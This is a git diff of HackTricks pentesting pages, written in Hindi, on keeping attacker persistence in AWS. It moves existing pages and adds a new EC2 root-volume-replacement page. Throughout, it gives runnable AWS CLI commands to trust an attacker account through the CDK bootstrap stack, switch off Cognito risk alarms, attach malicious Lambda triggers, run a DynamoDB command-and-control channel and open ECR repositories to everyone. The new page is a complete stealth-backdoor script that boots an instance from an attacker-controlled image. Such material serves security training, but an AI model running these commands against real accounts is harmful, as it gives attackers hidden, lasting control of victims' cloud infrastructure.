diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md deleted file mode 100644 index 2caeab45b..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - API Gateway Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -अधिक जानकारी के लिए जाएं: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Resource Policy - -API गेटवे(s) की संसाधन नीति को संशोधित करें ताकि आप उन्हें एक्सेस कर सकें - -### Modify Lambda Authorizers - -लैम्ब्डा ऑथराइज़र्स के कोड को संशोधित करें ताकि आप सभी एंडपॉइंट्स तक पहुंच प्राप्त कर सकें।\ -या बस ऑथराइज़र के उपयोग को हटा दें। - -### IAM Permissions - -यदि कोई संसाधन IAM ऑथराइज़र का उपयोग कर रहा है, तो आप IAM अनुमतियों को संशोधित करके खुद को एक्सेस दे सकते हैं।\ -या बस ऑथराइज़र के उपयोग को हटा दें। - -### API Keys - -यदि API कुंजी का उपयोग किया जाता है, तो आप उन्हें लीक कर सकते हैं ताकि स्थिरता बनाए रख सकें या यहां तक कि नई कुंजी बना सकें।\ -या बस API कुंजी के उपयोग को हटा दें। - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md new file mode 100644 index 000000000..931d5cf3a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md @@ -0,0 +1,32 @@ +# AWS - API Gateway Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### Resource Policy + +API gateway(s) की resource policy को संशोधित करके अपने लिए उन तक पहुँच प्रदान करें + +### Modify Lambda Authorizers + +Lambda authorizers के कोड को संशोधित करें ताकि आप सभी endpoints तक पहुँच प्राप्त कर सकें।\ +या बस authorizer के उपयोग को हटा दें। + +### IAM Permissions + +यदि कोई resource IAM authorizer का उपयोग कर रहा है, तो आप IAM permissions संशोधित करके अपने लिए उस तक पहुँच दे सकते हैं।\ +या बस authorizer के उपयोग को हटा दें। + +### API Keys + +यदि API keys का उपयोग हो रहा है, तो आप उन्हें leak करके persistence बनाए रख सकते हैं या नए keys बना सकते हैं।\ +या बस API keys के उपयोग को हटा दें। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md deleted file mode 100644 index 2758a503f..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - Cloudformation Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFormation - -अधिक जानकारी के लिए, पहुँचें: - -{{#ref}} -../aws-services/aws-cloudformation-and-codestar-enum.md -{{#endref}} - -### CDK Bootstrap Stack - -AWS CDK एक CFN स्टैक को `CDKToolkit` के रूप में तैनात करता है। यह स्टैक एक पैरामीटर `TrustedAccounts` का समर्थन करता है जो बाहरी खातों को पीड़ित खाते में CDK परियोजनाओं को तैनात करने की अनुमति देता है। एक हमलावर इसका दुरुपयोग करके पीड़ित खाते में अनिश्चितकालीन पहुँच प्राप्त कर सकता है, या तो पैरामीटर के साथ स्टैक को फिर से तैनात करने के लिए AWS cli का उपयोग करके, या AWS CDK cli का उपयोग करके। -```bash -# CDK -cdk bootstrap --trust 1234567890 - -# AWS CLI -aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md new file mode 100644 index 000000000..61d477287 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFormation + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +AWS CDK `CDKToolkit` नामक एक CFN stack को डिप्लॉय करता है। यह stack `TrustedAccounts` नामक एक parameter को सपोर्ट करता है, जो बाहरी accounts को victim account में CDK projects deploy करने की अनुमति देता है। एक हमलावर इसका दुरुपयोग करके स्वयं को victim account तक अनिश्चितकालीन पहुँच दे सकता है, या तो AWS cli का उपयोग करके parameters के साथ stack को पुनः डिप्लॉय करके, या AWS CDK cli का उपयोग करके। +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md deleted file mode 100644 index e28e30238..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - Cognito Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -अधिक जानकारी के लिए, पहुँचें: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### User persistence - -Cognito एक सेवा है जो अनधिकृत और अधिकृत उपयोगकर्ताओं को भूमिकाएँ देने और उपयोगकर्ताओं के एक निर्देशिका को नियंत्रित करने की अनुमति देती है। कुछ स्थिरता बनाए रखने के लिए कई विभिन्न कॉन्फ़िगरेशन को बदला जा सकता है, जैसे: - -- **एक User Pool जोड़ना** जिसे एक Identity Pool में उपयोगकर्ता द्वारा नियंत्रित किया जाता है -- एक **IAM भूमिका देना** एक अनधिकृत Identity Pool को और Basic auth flow की अनुमति देना -- या एक **अधिकृत Identity Pool** को यदि हमलावर लॉगिन कर सकता है -- या दिए गए भूमिकाओं के **अनुमतियों में सुधार करना** -- **Attributes नियंत्रित उपयोगकर्ताओं या नए उपयोगकर्ताओं के माध्यम से Create, verify & privesc** एक **User Pool** में -- **बाहरी Identity Providers को** एक User Pool या एक Identity Pool में लॉगिन करने की अनुमति देना - -इन क्रियाओं को कैसे करना है, यह देखें - -{{#ref}} -../aws-privilege-escalation/aws-cognito-privesc.md -{{#endref}} - -### `cognito-idp:SetRiskConfiguration` - -इस विशेषता के साथ एक हमलावर जोखिम कॉन्फ़िगरेशन को संशोधित कर सकता है ताकि वह एक Cognito उपयोगकर्ता के रूप में लॉगिन कर सके **बिना अलार्म ट्रिगर किए**। [**CLI की जांच करें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जांच करने के लिए: -```bash -aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} -``` -डिफ़ॉल्ट रूप से यह अक्षम है: - -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md new file mode 100644 index 000000000..a8f5b00fa --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md @@ -0,0 +1,40 @@ +# AWS - Cognito स्थायित्व + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### उपयोगकर्ता स्थायित्व + +Cognito एक सेवा है जो अनप्रमाणित और प्रमाणित उपयोगकर्ताओं को roles देने तथा उपयोगकर्ताओं की directory को नियंत्रित करने की अनुमति देती है। कुछ अलग-अलग configurations को बदला जा सकता है ताकि कुछ स्थायित्व बनाए रखा जा सके, जैसे: + +- **Adding a User Pool** जो उपयोगकर्ता द्वारा नियंत्रित हो, उसे एक Identity Pool में जोड़ना +- एक **IAM role** को unauthenticated Identity Pool को देना और Basic auth flow की अनुमति देना +- या एक **authenticated Identity Pool** को अगर हमलावर login कर सके +- या दिए गए roles के permissions में सुधार करना (**improve the permissions**) +- **Create, verify & privesc** attributes नियंत्रित users या **User Pool** में नए users के माध्यम से +- **Allowing external Identity Providers** को User Pool या Identity Pool में login करने की अनुमति देना + +इन क्रियाओं को कैसे करना है देखें: + +{{#ref}} +../../aws-privilege-escalation/aws-cognito-privesc/README.md +{{#endref}} + +### `cognito-idp:SetRiskConfiguration` + +इस privilege वाला हमलावर risk configuration को बदल सकता है ताकि वह Cognito user के रूप में login कर सके **बिना alarms trigger हुए**। [**cli देखें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जाँच करने के लिए: +```bash +aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} +``` +डिफ़ॉल्ट रूप से यह अक्षम है: + +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md deleted file mode 100644 index 39753a620..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ /dev/null @@ -1,59 +0,0 @@ -# AWS - DynamoDB Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -### DynamoDB - -अधिक जानकारी के लिए पहुँचें: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### DynamoDB ट्रिगर्स के साथ Lambda बैकडोर - -DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर एक **गुप्त बैकडोर** बना सकता है, एक तालिका के साथ एक दुर्भावनापूर्ण Lambda फ़ंक्शन को जोड़कर। Lambda फ़ंक्शन तब सक्रिय हो सकता है जब एक आइटम जोड़ा, संशोधित या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनचाहा कोड निष्पादित करने की अनुमति मिलती है। -```bash -# Create a malicious Lambda function -aws lambda create-function \ ---function-name MaliciousFunction \ ---runtime nodejs14.x \ ---role \ ---handler index.handler \ ---zip-file fileb://malicious_function.zip \ ---region - -# Associate the Lambda function with the DynamoDB table as a trigger -aws dynamodbstreams describe-stream \ ---table-name TargetTable \ ---region - -# Note the "StreamArn" from the output -aws lambda create-event-source-mapping \ ---function-name MaliciousFunction \ ---event-source \ ---region -``` -धारण बनाए रखने के लिए, हमलावर DynamoDB तालिका में आइटम बना या संशोधित कर सकता है, जो दुर्भावनापूर्ण Lambda फ़ंक्शन को ट्रिगर करेगा। इससे हमलावर को Lambda फ़ंक्शन के साथ सीधे इंटरैक्शन के बिना AWS खाते के भीतर कोड निष्पादित करने की अनुमति मिलती है। - -### DynamoDB को C2 चैनल के रूप में - -एक हमलावर DynamoDB तालिका का **कमांड और नियंत्रण (C2) चैनल** के रूप में उपयोग कर सकता है, आइटम बनाकर जिनमें कमांड होते हैं और समझौता किए गए उदाहरणों या Lambda फ़ंक्शंस का उपयोग करके इन कमांड को लाने और निष्पादित करने के लिए। -```bash -# Create a DynamoDB table for C2 -aws dynamodb create-table \ ---table-name C2Table \ ---attribute-definitions AttributeName=CommandId,AttributeType=S \ ---key-schema AttributeName=CommandId,KeyType=HASH \ ---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ ---region - -# Insert a command into the table -aws dynamodb put-item \ ---table-name C2Table \ ---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ ---region -``` -समझौता किए गए उदाहरण या Lambda फ़ंक्शन समय-समय पर C2 तालिका में नए आदेशों की जांच कर सकते हैं, उन्हें निष्पादित कर सकते हैं, और वैकल्पिक रूप से परिणामों को तालिका में वापस रिपोर्ट कर सकते हैं। यह हमलावर को समझौता किए गए संसाधनों पर स्थायीता और नियंत्रण बनाए रखने की अनुमति देता है। - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md new file mode 100644 index 000000000..8a4624a23 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md @@ -0,0 +1,59 @@ +# AWS - DynamoDB स्थायी पहुँच + +{{#include ../../../../banners/hacktricks-training.md}} + +### DynamoDB + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### DynamoDB ट्रिगर्स के साथ Lambda Backdoor + +DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर किसी टेबल के साथ एक दुर्भावनापूर्ण Lambda function जोड़कर एक **गुप्त backdoor** बना सकता है। Lambda function तब ट्रिगर हो सकता है जब कोई item जोड़ा, संशोधित, या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनमाना कोड निष्पादित करने की अनुमति मिलती है। +```bash +# Create a malicious Lambda function +aws lambda create-function \ +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region + +# Associate the Lambda function with the DynamoDB table as a trigger +aws dynamodbstreams describe-stream \ +--table-name TargetTable \ +--region + +# Note the "StreamArn" from the output +aws lambda create-event-source-mapping \ +--function-name MaliciousFunction \ +--event-source \ +--region +``` +स्थिरता बनाए रखने के लिए, हमलावर DynamoDB table में items बना या संशोधित कर सकता है, जो malicious Lambda function को trigger करेगा। यह हमलावर को Lambda function के साथ सीधे इंटरैक्शन किए बिना AWS account के भीतर code execute करने की अनुमति देता है। + +### DynamoDB as a C2 Channel + +हमलावर DynamoDB table का उपयोग एक **command and control (C2) channel** के रूप में कर सकता है, items बनाकर जिनमें commands शामिल हों और compromised instances या Lambda functions का उपयोग कर इन commands को fetch और execute करवाया जा सके। +```bash +# Create a DynamoDB table for C2 +aws dynamodb create-table \ +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region + +# Insert a command into the table +aws dynamodb put-item \ +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region +``` +Compromised instances या Lambda functions समय-समय पर C2 table में नए commands के लिए चेक कर सकते हैं, उन्हें execute कर सकते हैं, और वैकल्पिक रूप से परिणामों को वापस table में report कर सकते हैं। इससे attacker को compromised resources पर persistence और control बनाए रखने की अनुमति मिलती है। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md deleted file mode 100644 index e5d71a6f5..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ /dev/null @@ -1,54 +0,0 @@ -# AWS - EC2 Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### सुरक्षा समूह कनेक्शन ट्रैकिंग स्थिरता - -यदि एक रक्षक पाता है कि एक **EC2 उदाहरण से समझौता किया गया था**, तो वह शायद **नेटवर्क** को **आइसोलेट** करने की कोशिश करेगा। वह एक स्पष्ट **Deny NACL** के साथ ऐसा कर सकता है (लेकिन NACLs पूरे सबनेट को प्रभावित करते हैं), या **सुरक्षा समूह को बदलकर** **किसी भी प्रकार के इनबाउंड या आउटबाउंड** ट्रैफ़िक की अनुमति नहीं देता। - -यदि हमलावर के पास **मशीन से उत्पन्न एक रिवर्स शेल** है, तो भले ही SG को इनबाउंड या आउटबाउंड ट्रैफ़िक की अनुमति नहीं देने के लिए संशोधित किया गया हो, **कनेक्शन को समाप्त नहीं किया जाएगा** [**सुरक्षा समूह कनेक्शन ट्रैकिंग**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** के कारण।** - -### EC2 जीवनचक्र प्रबंधक - -यह सेवा **AMIs और स्नैपशॉट्स** के **निर्माण को शेड्यूल** करने की अनुमति देती है और यहां तक कि **उन्हें अन्य खातों के साथ साझा** भी कर सकती है।\ -एक हमलावर **हर सप्ताह** सभी छवियों या सभी वॉल्यूम के **AMIs या स्नैपशॉट्स** के **उत्पादन को कॉन्फ़िगर** कर सकता है और **उन्हें अपने खाते के साथ साझा** कर सकता है। - -### अनुसूचित उदाहरण - -यह संभव है कि उदाहरणों को दैनिक, साप्ताहिक या यहां तक कि मासिक रूप से चलाने के लिए शेड्यूल किया जाए। एक हमलावर एक मशीन चला सकता है जिसमें उच्च विशेषाधिकार या दिलचस्प पहुंच हो जहां वह पहुंच सकता है। - -### स्पॉट फ़्लीट अनुरोध - -स्पॉट उदाहरण **सामान्य उदाहरणों** की तुलना में **सस्ते** होते हैं। एक हमलावर **5 वर्ष** के लिए एक **छोटी स्पॉट फ़्लीट अनुरोध** लॉन्च कर सकता है (उदाहरण के लिए), **स्वचालित IP** असाइनमेंट के साथ और एक **उपयोगकर्ता डेटा** जो हमलावर को **जब स्पॉट उदाहरण शुरू होता है** और **IP पता** भेजता है और एक **उच्च विशेषाधिकार IAM भूमिका** के साथ। - -### बैकडोर उदाहरण - -एक हमलावर उदाहरणों तक पहुंच प्राप्त कर सकता है और उन्हें बैकडोर कर सकता है: - -- उदाहरण के लिए एक पारंपरिक **रूटकिट** का उपयोग करना -- एक नया **सार्वजनिक SSH कुंजी** जोड़ना (देखें [EC2 प्रिवेस्क विकल्प](../aws-privilege-escalation/aws-ec2-privesc.md)) -- **उपयोगकर्ता डेटा** को बैकडोर करना - -### **बैकडोर लॉन्च कॉन्फ़िगरेशन** - -- उपयोग किए गए AMI को बैकडोर करें -- उपयोगकर्ता डेटा को बैकडोर करें -- की जोड़ी को बैकडोर करें - -### VPN - -एक VPN बनाएं ताकि हमलावर सीधे इसके माध्यम से VPC से कनेक्ट कर सके। - -### VPC पीयरिंग - -पीड़ित VPC और हमलावर VPC के बीच एक पीयरिंग कनेक्शन बनाएं ताकि वह पीड़ित VPC तक पहुंच सके। - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md new file mode 100644 index 000000000..e8f3cca23 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md @@ -0,0 +1,62 @@ +# AWS - EC2 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +For more information check: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### Security Group Connection Tracking Persistence + +यदि किसी defender को पता चले कि एक **EC2 instance compromised था**, तो वह संभवतः उस मशीन के **नेटवर्क** को अलग करने की कोशिश करेगा। वह यह एक स्पष्ट **Deny NACL** के साथ कर सकता है (लेकिन NACLs पूरे subnet को प्रभावित करते हैं), या **security group बदलकर** किसी भी तरह के **इनबाउंड या आउटबाउंड** ट्रैफिक की अनुमति न देने जैसा कर सकता है। + +यदि attacker के पास मशीन से उत्पन्न एक **reverse shell originated from the machine** था, तो भले ही SG को इस तरह से संशोधित किया जाए कि inbound या outbound ट्रैफिक की अनुमति न हो, कनेक्शन [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html) के कारण खत्म नहीं होगा।** + +### EC2 Lifecycle Manager + +यह service AMIs और snapshots के निर्माण को **schedule** करने और यहां तक कि उन्हें **other accounts के साथ share** करने की अनुमति देती है।\ +एक हमलावर सभी images या सभी volumes के AMIs या snapshots का निर्माण **हर week** करने के लिए configure कर सकता है और उन्हें अपने खाते के साथ **share** कर सकता है। + +### Scheduled Instances + +Instances को daily, weekly या monthly चलाने के लिए schedule किया जा सकता है। एक हमलावर ऐसी मशीन चला सकता है जिसमें उसे high privileges या रुचिकर access मिलता हो, जिसे वह बाद में उपयोग कर सके। + +### Spot Fleet Request + +Spot instances सामान्य instances की तुलना में **cheaper** होते हैं। एक हमलावर उदाहरण के लिए **5 year** के लिए एक छोटा **spot fleet request** लॉन्च कर सकता है, जिसमें **automatic IP** असाइनमेंट और ऐसा **user data** होगा जो attacker को **जब spot instance start** हो तो IP address भेज दे और जिसमें एक **high privileged IAM role** जुड़ा हो। + +### Backdoor Instances + +एक हमलावर instances तक पहुंच हासिल कर उन्हें backdoor कर सकता है: + +- उदाहरण के लिए परंपरागत **rootkit** का उपयोग करके +- एक नया **public SSH key** जोड़कर (देखें [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md)) +- **User Data** को backdoor करके + +### **Backdoor Launch Configuration** + +- Backdoor करें उपयोग की गई AMI में +- Backdoor करें User Data में +- Backdoor करें Key Pair में + +### EC2 ReplaceRootVolume Task (Stealth Backdoor) + +चल रही instance के root EBS volume को attacker-नियंत्रित AMI या snapshot से बने एक volume के साथ `CreateReplaceRootVolumeTask` का उपयोग करके बदल दें। instance अपने ENIs, IPs, और role को बनाए रखता है, और प्रभावी रूप से malicious code में boot कर जाता है जबकि दिखने में अपरिवर्तित रहता है। + +{{#ref}} +../aws-ec2-replace-root-volume-persistence/README.md +{{#endref}} + +### VPN + +एक VPN बनाएं ताकि attacker सीधे VPC से कनेक्ट कर सके। + +### VPC Peering + +victim VPC और attacker VPC के बीच peering connection बनाएं ताकि वह victim VPC तक पहुँच सके। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md new file mode 100644 index 000000000..1c5cf18fb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md @@ -0,0 +1,75 @@ +# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence) + +{{#include ../../../../banners/hacktricks-training.md}} + +Abuse **ec2:CreateReplaceRootVolumeTask** का दुरुपयोग करें ताकि चल रहे instance के root EBS वॉल्यूम को attacker-controlled AMI या snapshot से restore किए गए वॉल्यूम से बदला जा सके। Instance अपने आप reboot हो जाता है और attacker-controlled root filesystem के साथ resume करता है जबकि ENIs, private/public IPs, attached non-root volumes, और instance metadata/IAM role को संरक्षित रखा जाता है। + +## आवश्यकताएँ +- लक्षित instance EBS-backed है और उसी region में चल रहा होना चाहिए। +- Compatible AMI या snapshot: target instance के समान architecture/virtualization/boot mode (और product codes, अगर हों) होना चाहिए। + +## पूर्व-जाँच +```bash +REGION=us-east-1 +INSTANCE_ID= + +# Ensure EBS-backed +aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text + +# Capture current network and root volume +ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text) +ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) +PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text) +ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text) +``` +## AMI से root को बदलें (अनुशंसित) +```bash +IMAGE_ID= + +# Start task +TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text) + +# Poll until state == succeeded +while true; do +STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text) +echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10; +done +``` +स्नैपशॉट का वैकल्पिक तरीका: +```bash +SNAPSHOT_ID= +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID +``` +## सबूत / सत्यापन +```bash +# Instance auto-reboots; network identity is preserved +NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) + +# Compare before vs after +printf "ENI:%s IP:%s +ORIG_VOL:%s +NEW_VOL:%s +" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL" + +# (Optional) Inspect task details and console output +aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json +aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text +``` +अपेक्षित: ENI_ID और PRI_IP समान रहते हैं; रूट वॉल्यूम ID $ORIG_VOL से बदलकर $NEW_VOL हो जाता है। सिस्टम हमलावर द्वारा नियंत्रित AMI/snapshot से फ़ाइलसिस्टम के साथ बूट होता है। + +## नोट्स +- API के लिए आपको instance को मैन्युअली रोकने की जरूरत नहीं है; EC2 रीबूट कराता है। +- डिफ़ॉल्ट रूप से, बदला गया (पुराना) root EBS volume detach करके खाते में छोड़ दिया जाता है (DeleteReplacedRootVolume=false)। इसे रोलबैक के लिए उपयोग किया जा सकता है या लागत से बचने के लिए इसे हटाया जाना चाहिए। + +## रोलबैक / क्लीनअप +```bash +# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"), +# you can create a snapshot and replace again from it: +SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text) +aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP + +# Or simply delete the detached old root volume if not needed: +aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md deleted file mode 100644 index 5eeb3ba5a..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - ECR Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Hidden Docker Image with Malicious Code - -एक हमलावर **एक ECR रिपॉजिटरी में दुर्भावनापूर्ण कोड वाला Docker इमेज अपलोड कर सकता है** और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे Amazon ECS या EKS, में चुपचाप तैनात कर सकता है। - -### Repository Policy - -एकल रिपॉजिटरी में एक नीति जोड़ें जो आपको (या सभी को) एक रिपॉजिटरी तक पहुंच प्रदान करती है: -```bash -aws ecr set-repository-policy \ ---repository-name cluster-autoscaler \ ---policy-text file:///tmp/my-policy.json - -# With a .json such as - -{ -"Version" : "2008-10-17", -"Statement" : [ -{ -"Sid" : "allow public pull", -"Effect" : "Allow", -"Principal" : "*", -"Action" : [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -> [!WARNING] -> ध्यान दें कि ECR को उपयोगकर्ताओं के लिए **अनुमति** की आवश्यकता होती है कि वे **`ecr:GetAuthorizationToken`** API को IAM नीति के माध्यम से कॉल कर सकें **इससे पहले कि वे किसी रजिस्ट्री में प्रमाणित हो सकें** और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल कर सकें। - -### रजिस्ट्री नीति और क्रॉस-खाता प्रतिकृति - -एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से प्रतिकृत करना संभव है, जिसमें आपको क्रॉस-खाता प्रतिकृति को कॉन्फ़िगर करना होगा, जहाँ आपको **बाहरी खाते** को इंगित करना होगा जहाँ आप रजिस्ट्री को प्रतिकृत करना चाहते हैं। - -
